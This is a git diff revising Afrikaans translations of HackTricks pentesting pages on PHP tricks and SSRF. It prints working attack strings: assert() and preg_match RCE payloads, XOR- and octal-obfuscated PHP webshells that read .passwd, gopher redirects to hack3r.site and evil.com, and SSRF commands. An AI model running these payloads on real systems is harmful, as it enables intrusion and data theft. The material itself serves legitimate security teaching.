Wel, in regex-terme doen ons eintlik nie 100k "herhalings" nie, maar in plaas daarvan tel ons "terugspoelstappe", wat soos die [PHP-dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) dit standaard tot 1\_000\_000 (1M) in die `pcre.backtrack_limit` veranderlike.\
Wel, in regex-terme doen ons eintlik nie 100k "herhalings" nie, maar in plaas daarvan tel ons "terugspoelstappe", wat soos die [PHP-dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) dit stel, standaard tot 1\_000\_000 (1M) in die `pcre.backtrack_limit` veranderlike.\
Om dit te bereik, sal `'X'*500_001` lei tot 1 miljoen terugspoelstappe (500k vorentoe en 500k agtertoe):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -145,7 +145,7 @@ $obfs += ""; //int 7
```
## Voer Uit Na Omleiding (EAR)
Indien PHP na 'n ander bladsy omskakel, maar geen **`die`** of **`exit`** funksie na die **stel van die `Location`-kop** geroep word nie, gaan PHP voort met die uitvoering en voeg die data by die liggaam:
Indien PHP na 'n ander bladsy omskakel, maar geen **`die`** of **`exit`** funksie word **geroep nadat die `Location`-kop ingestel is**, sal die PHP voortgaan met die uitvoering en die data aan die liggaam toevoeg:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -155,9 +155,9 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Padtraversering en Lêerinsluiting Uitbuiting
## Padtraversal en Lêerinsluiting Uitbuiting
Kontroleer:
Kyk:
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
[file-inclusion](../../../pentesting-web/file-inclusion/)
@ -165,16 +165,16 @@ Kontroleer:
## Meer truuks
* **register\_globals**: In **PHP < 4.1.1.1** of indien verkeerd ingestel, **register\_globals** mag aktief wees (of hul gedrag word nageboots). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", jy kan dit benader via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes oorskrywe** wat binne die kode gebruik word.
* **register\_globals**: In **PHP < 4.1.1.1** of indien verkeerd geconfigureer, **register\_globals** mag aktief wees (of hul gedrag word nageboots). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", jy kan dit benader via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes oorskrywe** wat binne die kode gebruik word.
* Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie** gebruik word kan jy maak dat 'n pad **die koekie van die pad benader** deur die waarde van die ander pad se koekie in te stel.\
Op hierdie manier as **beide paaie 'n veranderlike met dieselfde naam benader** kan jy maak dat die **waarde van daardie veranderlike in pad1 van toepassing is op pad2**. En dan sal pad2 die veranderlikes van pad1 as geldig aanvaar (deur die koekie die naam te gee wat daarmee ooreenstem in pad2).
* Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kontroleer die adres: **/\~\<USERNAME>** om te sien of die php-direktorieë geaktiveer is.
* Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kyk na die adres: **/\~\<USERNAME>** om te sien of die php-gidse geaktiveer is.
* [**LFI en RCE deur php wrappers te gebruik**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
Hierdie funksies word tipies in PHP gebruik om **hasse van wagwoorde te genereer** en om te **kontroleer** of 'n wagwoord korrek is in vergelyking met 'n hash.\
Die ondersteunde algoritmes is: `PASSWORD_DEFAULT` en `PASSWORD_BCRYPT` (begin met `$2y$`). Let daarop dat **PASSWORD\_DEFAULT dikwels dieselfde as PASSWORD\_BCRYPT is.** En tans het **PASSWORD\_BCRYPT** 'n **groottebeperking in die inset van 72 byte**. Daarom, wanneer jy iets probeer hash wat groter as 72 byte is met hierdie algoritme sal slegs die eerste 72B gebruik word:
Hierdie funksies word tipies in PHP gebruik om **hasse van wagwoorde te genereer** en om te **kontroleer** of 'n wagwoord korrek is in vergelyking met 'n has.\
Die ondersteunde algoritmes is: `PASSWORD_DEFAULT` en `PASSWORD_BCRYPT` (begin met `$2y$`). Let daarop dat **PASSWORD\_DEFAULT dikwels dieselfde as PASSWORD\_BCRYPT is.** En tans het **PASSWORD\_BCRYPT** 'n **groottebeperking in die inset van 72 byte**. Daarom, wanneer jy iets probeer hash wat groter as 72 byte is met hierdie algoritme, sal slegs die eerste 72B gebruik word:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -182,13 +182,13 @@ False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### HTTP koppe om PHP-foute te misbruik omseil
### HTTP koppe omseil deur PHP foute te misbruik
#### Fout veroorsaak nadat koppe ingestel is
Vanaf [**hierdie twitterdraad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) kan jy sien dat wanneer meer as 1000 GET-parameters of 1000 POST-parameters of 20 lêers gestuur word, PHOP nie koppe in die respons gaan instel nie.
Dit maak dit moontlik om byvoorbeeld CSP-koppe te omseil wat ingestel is in kodes soos:
Dit maak dit moontlik om byvoorbeeld CSP-koppe te omseil wat ingestel word in kodes soos:
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -196,11 +196,19 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Die vul van 'n liggaam voordat koppe ingestel word
Indien 'n **PHP-bladsy foute druk en 'n bietjie insette wat deur die gebruiker voorsien word, terugkaats**, kan die gebruiker die PHP-bediener laat terugdruk met 'n **inhoud wat lank genoeg** is sodat wanneer dit probeer om **die koppe by die antwoord te voeg**, die bediener 'n fout sal gooi.\
In die volgende scenario het die **aanvaller die bediener groot foute laat gooi**, en soos gesien kan word op die skerm toe php probeer om **die kopinligting te wysig, kon dit nie** (so byvoorbeeld is die CSP-kop nie aan die gebruiker gestuur nie):
Indien 'n **PHP-bladsy foute druk en 'n paar insette wat deur die gebruiker voorsien word, terugkaats**, kan die gebruiker die PHP-bediener laat terugdruk met 'n **inhoud wat lank genoeg** is sodat wanneer dit probeer om **die koppe by die antwoord te voeg**, die bediener 'n fout sal veroorsaak.\
In die volgende scenario het die **aanvaller die bediener groot foute laat veroorsaak**, en soos gesien kan word op die skerm, toe php probeer om **die kopinligting te wysig, kon dit nie** (so byvoorbeeld is die CSP-kop nie aan die gebruiker gestuur nie):
![](<../../../.gitbook/assets/image (1085).png>)
## SSRF in PHP-funksies
Kyk na die bladsy:
{% content-ref url="php-ssrf.md" %}
[php-ssrf.md](php-ssrf.md)
{% endcontent-ref %}
## Kode-uitvoering
**system("ls");**\
@ -228,11 +236,11 @@ Hierdie opsie van preg\_replace is **verouder vanaf PHP 5.5.0.**
### **RCE via Assert()**
Hierdie funksie binne php maak dit moontlik om **kode wat geskryf is in 'n string uit te voer** om **waar of vals terug te gee** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruiker veranderlike in die middel van 'n string ingevoeg word. Byvoorbeeld:\
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval om **RCE** te kry kan jy:
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval om **RCE** te kry, kan jy:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Jy sal die kode sintaks moet **breek**, jou **lading byvoeg**, en dit dan weer **regmaak**. Jy kan **logiese operasies** soos "**en**" of "%26%26" of "|" gebruik. Let daarop dat "of", "||" nie werk nie omdat as die eerste voorwaarde waar is, sal ons lading nie uitgevoer word nie. Op dieselfde manier werk ";" nie omdat ons lading nie uitgevoer sal word nie.
Jy sal die kode sintaksie moet **breek**, jou **lading byvoeg**, en dit dan weer **regmaak**. Jy kan **logiese operasies** soos "**en**" of "%26%26" of "|" gebruik. Let daarop dat "of", "||" nie werk nie omdat as die eerste voorwaarde waar is, sal ons lading nie uitgevoer word nie. Op dieselfde manier werk ";" nie omdat ons lading nie uitgevoer sal word nie.
**Ander opsie** is om die uitvoering van die opdrag by die string te voeg: `'.highlight_file('.passwd').'`
@ -272,7 +280,7 @@ Verskillende .htaccess doppe kan hier gevind word [hier](https://github.com/wire
As jy 'n kwesbaarheid vind wat jou toelaat om **omgewingsveranderlikes in PHP te wysig** (en nog een om lêers op te laai, alhoewel met meer navorsing dit dalk omseil kan word), kan jy hierdie gedrag misbruik om **RCE** te kry.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hierdie omgewingsveranderlike laat jou toe om willekeurige biblioteke te laai wanneer jy ander bineêre lêers uitvoer (alhoewel dit in hierdie geval dalk nie werk nie).
* **`PHPRC`** : Instrueer PHP oor **waar om sy konfigurasie lêer te vind**, gewoonlik genoem `php.ini`. As jy jou eie konfigurasie lêer kan oplaai, gebruik dan `PHPRC` om PHP daarheen te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP-kode wat dan uitgevoer word** deur die PHP-uitvoertyd voor enige ander kode.
* **`PHPRC`** : Instrueer PHP oor **waar om sy konfigurasie lêer te vind**, gewoonlik genoem `php.ini`. As jy jou eie konfigurasie lêer kan oplaai, gebruik dan `PHPRC` om PHP daarheen te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaai lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP-kode wat dan uitgevoer word** deur die PHP-uitvoertyd voor enige ander kode.
1. Laai 'n PHP-lêer op wat ons skelkode bevat
2. Laai 'n tweede lêer op wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP-voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
3. Stel die `PHPRC` veranderlike in op die lêer wat ons in stap 2 opgelaai het.
@ -292,7 +300,7 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Indien jy 'n PHP-aansoek aan die toets is, kan jy foutdruk op globale vlak aktiveer in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en Apache te herlaai: `sudo systemctl restart apache2`
Indien jy 'n PHP-aansoek aan die toets is, kan jy foutdruk globaal aktiveer in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en Apache te herlaai: `sudo systemctl restart apache2`
### Ontsleuteling van PHP-kode
@ -300,11 +308,11 @@ Jy kan die **web**[ **www.unphp.net**](http://www.unphp.net) **gebruik om PHP-ko
## PHP Omhulsels & Protokolle
PHP-omhulsels en protokolle kan jou moontlik toelaat om **skryf- en leesbeskerming te omseil** in 'n stelsel en dit te kompromiteer. Vir [**meer inligting kyk na hierdie bladsy**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
PHP Omhulsels en protokolle kan jou in staat stel om **skryf- en leesbeskerming te omseil** in 'n stelsel en dit te kompromiteer. Vir [**meer inligting kyk na hierdie bladsy**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug ongeagte RCE
As jy sien dat **Xdebug** **geaktiveer** is in 'n `phpconfig()`-uitset, moet jy probeer om RCE te kry via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
As jy sien dat **Xdebug** **geaktiveer** is in 'n `phpconfig()` uitset, moet jy probeer om RCE te kry via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
## Veranderlike veranderlikes
```php
@ -320,7 +328,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE misbruik nuwe $\_GET\["a"]\($\_GET\["b"])
Indien jy in 'n bladsy **'n nuwe objek van 'n willekeurige klas kan skep**, kan jy moontlik RCE verkry, kyk na die volgende bladsy om te leer hoe:
As in 'n bladsy jy **'n nuwe objek van 'n willekeurige klas kan skep** kan jy moontlik RCE verkry, kyk na die volgende bladsy om te leer hoe:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
@ -335,6 +343,8 @@ Indien jy in 'n bladsy **'n nuwe objek van 'n willekeurige klas kan skep**, kan
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
XOR (Exclusive OR) is 'n logiese operasie wat gebruik word in kriptografie en programmering. Dit is 'n bietjiewysoperasie wat twee bietjies vergelyk en 'n nuwe bietjie produseer wat slegs waar is as die twee oorspronklike bietjies verskil. In kriptografie word XOR dikwels gebruik om data te versleutel deur dit te meng met 'n sleutel.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
@ -350,14 +360,14 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
So, as jy **arbitrêre PHP sonder syfers en letters kan uitvoer**, kan jy 'n versoek stuur soos die volgende wat misbruik maak van daardie lading om arbitrêre PHP uit te voer:
So, as jy **arbitrêre PHP sonder syfers en letters kan uitvoer**, kan jy 'n versoek stuur soos die volgende deur daardie lading te misbruik om arbitrêre PHP uit te voer:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
Vir 'n meer diepgaande verduideliking kyk na [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
Vir 'n meer diepgaande verduideliking, kyk na [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
### XOR Shellcode (binne eval)
```bash
@ -427,7 +437,7 @@ $___($_[_]); // ASSERT($_POST[_]);
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,9 +6,9 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -16,7 +16,7 @@ Ander maniere om HackTricks te ondersteun:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,16 +24,30 @@ Ander maniere om HackTricks te ondersteun:
### SSRF PHP funksies
Sommige funksies soos **file\_get\_contents(), fopen(), file(), md5\_file()** aanvaar URL's as insette wat hulle sal volg en sodoende **moontlike SSRF-gebreke** kan veroorsaak as die gebruiker die data kan beheer:
Sommige funksies soos **file\_get\_contents(), fopen(), file(), md5\_file()** aanvaar URL's as insette wat hulle sal volg en maak **moontlike SSRF kwesbaarhede** indien die gebruiker die data kan beheer:
```php
file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r");
file("http://127.0.0.1:8081");
md5_file("http://127.0.0.1:8081");
```
### Wordpress SSRF via DNS Rebinding
Soos [**verduidelik in hierdie blogpos**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), is selfs die Wordpress-funksie **`wp_safe_remote_get`** vatbaar vir DNS-herbinding, wat dit potensieel vatbaar maak vir SSRF-aanvalle. Die hoofvalidering wat dit aanroep, is **wp\_http\_validate\_ur**l, wat nagaan of die protokol `http://` of `https://` is en dat die poort een van **80**, **443** en **8080** is, maar dit is **vatbaar vir DNS-herbinding**.
Ander vatbare funksies volgens die pos is:
- `wp_safe_remote_request()`
- `wp_safe_remote_post()`
- `wp_safe_remote_head()`
- `WP_REST_URL_Details_Controller::get_remote_url()`
- `download_url()`
- `wp_remote_fopen()`
- `WP_oEmbed::discover()`
### CRLF
Verder, in sommige gevalle kan dit selfs moontlik wees om arbitrêre koppe te stuur via CRLF "kwesbaarhede" in die vorige funksies:
Boonop kan dit in sommige gevalle selfs moontlik wees om arbitrêre koppe te stuur via CRLF "kwesbaarhede" in die vorige funksies:
```php
# The following will create a header called from with value Hi and
# an extra header "Injected: I HAVE IT"
@ -52,7 +66,7 @@ Connection: close
Vir meer inligting oor daardie CRLF-fout, kyk na hierdie fout [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
{% endhint %}
Merk op dat hierdie funksie moontlik ander metodes het om arbitrêre koppe in versoeke in te stel, soos:
Let wel dat hierdie funksie ander metodes kan hê om arbitrêre koppe in versoeke in te stel, soos:
```php
$url = "";
@ -70,11 +84,10 @@ $file = file_get_contents($url, false, $context);
```
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

View file

@ -3,20 +3,20 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
<details>
<summary><strong>Leer AWS hakwerk van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -24,11 +24,11 @@ Ander maniere om HackTricks te ondersteun:
## Basiese Inligting
'n **Server-side Request Forgery (SSRF)** kwesbaarheid kom voor wanneer 'n aanvaller 'n **server-side toepassing** manipuleer om **HTTP-versoeke** na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan willekeurige eksterne versoeke gerig deur die aanvaller.
'n **Server-side Request Forgery (SSRF)** kwesbaarheid kom voor wanneer 'n aanvaller 'n **bedienerkant-toepassing** manipuleer om **HTTP-aanvrae** na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan willekeurige eksterne aanvrae wat deur die aanvaller gerig word.
## Vang SSRF
Die eerste ding wat jy moet doen is om 'n SSRF interaksie wat deur jou gegenereer is, vas te vang. Om 'n HTTP- of DNS-interaksie vas te vang, kan jy gereedskap soos gebruik:
Die eerste ding wat jy moet doen is om 'n SSRF-interaksie wat deur jou gegenereer is, vas te vang. Om 'n HTTP- of DNS-interaksie vas te vang, kan jy gereedskap soos die volgende gebruik:
* **Burp Collaborator**
* [**pingb**](http://pingb.in)
@ -40,17 +40,17 @@ Die eerste ding wat jy moet doen is om 'n SSRF interaksie wat deur jou gegeneree
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - 'n Burp Collaborator wat ngrok gebruik
## Gelysde Domeine Omgang
## Gelysde Domeine Oorweging
Gewoonlik sal jy vind dat die SSRF net werk in **sekere gelysde domeine** of URL. Op die volgende bladsy het jy 'n **samestelling van tegnieke om te probeer om daardie witlys te omseil**:
Gewoonlik sal jy vind dat die SSRF net werk in **sekere gelysde domeine** of URL. Op die volgende bladsy het jy 'n **samestelling van tegnieke om te probeer om daardie lys van toegelate domeine te omseil**:
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
{% endcontent-ref %}
### Omgang via oop omleiding
### Omseiling via oop omleiding
As die bediener korrek beskerm is, kan jy **alle beperkings omseil deur 'n Oop Omleiding binne die webbladsy uit te buit**. Omdat die webbladsy **SSRF na dieselfde domein** sal toelaat en waarskynlik sal **omleidings volg**, kan jy die **Oop Omleiding uitbuit om die bediener te maak om interne enige hulpbron** te benader.\
As die bediener korrek beskerm is, kan jy **alle beperkings omseil deur 'n Oop Omleiding binne die webbladsy uit te buit**. Omdat die webbladsy **SSRF na dieselfde domein** sal toelaat en waarskynlik sal **omleidings volg**, kan jy die **Oop Omleiding uitbuit om die bediener te maak om interne enige hulpbron te benader**.\
Lees meer hier: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## Protokolle
@ -58,7 +58,7 @@ Lees meer hier: [https://portswigger.net/web-security/ssrf](https://portswigger.
* **file://**
* Die URL-skema `file://` word verwys, wat direk na `/etc/passwd` wys: `file:///etc/passwd`
* **dict://**
* Die DICT URL-skema word beskryf as wat gebruik word om definisies of woordelyste via die DICT-protokol te benader. 'n Voorbeeld illustreer 'n gekonstrueerde URL wat 'n spesifieke woord, databasis en inskrywingnommer teiken, sowel as 'n voorbeeld van 'n PHP-skrip wat moontlik misbruik kan word om met aanvaller-verskafte geloofsbriewe na 'n DICT-bediener te verbind: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* Die DICT URL-skema word beskryf as wat gebruik word om definisies of woordelyste via die DICT-protokol te benader. 'n Voorbeeld illustreer 'n gekonstrueerde URL wat 'n spesifieke woord, databasis en inskrywingsnommer teiken, sowel as 'n voorbeeld van 'n PHP-skrip wat moontlik misbruik kan word om met 'n DICT-bediener te verbind deur aanvaller-verskafte geloofsbriewe te gebruik: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* Geïdentifiseer as 'n protokol vir veilige lêeroordrag oor 'n veilige dop, word 'n voorbeeld verskaf wat wys hoe 'n PHP-skrip uitgebuit kan word om met 'n skadelike SFTP-bediener te verbind: `url=sftp://generic.com:11111/`
* **TFTP://**
@ -66,7 +66,7 @@ Lees meer hier: [https://portswigger.net/web-security/ssrf](https://portswigger.
* **LDAP://**
* Hierdie segment dek die Ligte Gids Toegangsprotokol, wat beklemtoon word vir die bestuur en toegang tot verspreide gidsinligtingsdienste oor IP-netwerke. Interageer met 'n LDAP-bediener op die plaaslike gasheer: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* 'n Metode word beskryf vir die uitbuiting van SSRF-kwesbaarhede om met SMTP-diens op die plaaslike gasheer te interageer, insluitend stappe om interne domeinname te onthul en verdere ondersoekaksies gebaseer op daardie inligting.
* 'n Metode word beskryf vir die uitbuiting van SSRF-kwesbaarhede om met SMTP-diens op die plaaslike gasheer te interageer, insluitend stappe om interne domeinname te onthul en verdere ondersoekende aksies gebaseer op daardie inligting.
```
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
@ -84,7 +84,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
### Gopher://
Deur hierdie protokol te gebruik, kan jy die **IP, poort en bytes** spesifiseer wat jy wil hê die bediener moet **stuur**. Dan kan jy basies 'n SSRF uitbuit om te **kommunikeer met enige TCP bediener** (maar jy moet eers weet hoe om met die diens te praat).\
Deur hierdie protokol te gebruik, kan jy die **IP, poort en bytes** spesifiseer wat jy wil hê die bediener moet **stuur**. Dan kan jy basies 'n SSRF uitbuit om met enige TCP bediener te **kommunikeer** (maar jy moet eers weet hoe om met die diens te praat).\
Gelukkig kan jy [Gopherus](https://github.com/tarunkant/Gopherus) gebruik om payloads vir verskeie dienste te skep. Daarbenewens kan [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) gebruik word om _gopher_ payloads vir _Java RMI_ dienste te skep.
**Gopher smtp**
@ -117,8 +117,6 @@ header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
#### Gopher MongoDB -- Skep gebruiker met gebruikersnaam=admin met wagwoord=admin123 en met toestemming=administrateur
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
@ -145,11 +143,11 @@ ssl_preread on;
}
}
```
In hierdie opset word die waarde van die Server Name Indication (SNI) veld direk gebruik as die agterkant se adres. Hierdie opstelling stel 'n kwesbaarheid bloot aan Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur bloot die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van uitbuiting om 'n verbinding met 'n willekeurige agterkant te dwing, soos `internal.host.com`, met behulp van die `openssl`-opdrag word hieronder gegee:
In hierdie opset word die waarde van die Server Name Indication (SNI) veld direk gebruik as die agterkant se adres. Hierdie opset stel 'n kwesbaarheid bloot aan Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur bloot die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van uitbuiting om 'n verbinding met 'n willekeurige agterkant, soos `internal.host.com`, te dwing deur die `openssl` bevel word hieronder gegee:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
## [Laaibestand oplaai met Wget](../file-upload/#wget-file-upload-ssrf-trick)
## [Wget lêer oplaai](../file-upload/#wget-lêer-oplaai-ssrf-truuk)
## SSRF met Opdraginspuiting
@ -157,21 +155,23 @@ Dit mag die moeite werd wees om 'n lading soos te probeer: `` url=http://3iufty2
## PDFs Weergawe
As die webblad outomaties 'n PDF skep met sekere inligting wat jy voorsien het, kan jy **'n bietjie JS invoeg wat deur die PDF-skepper self** (die bediener) uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
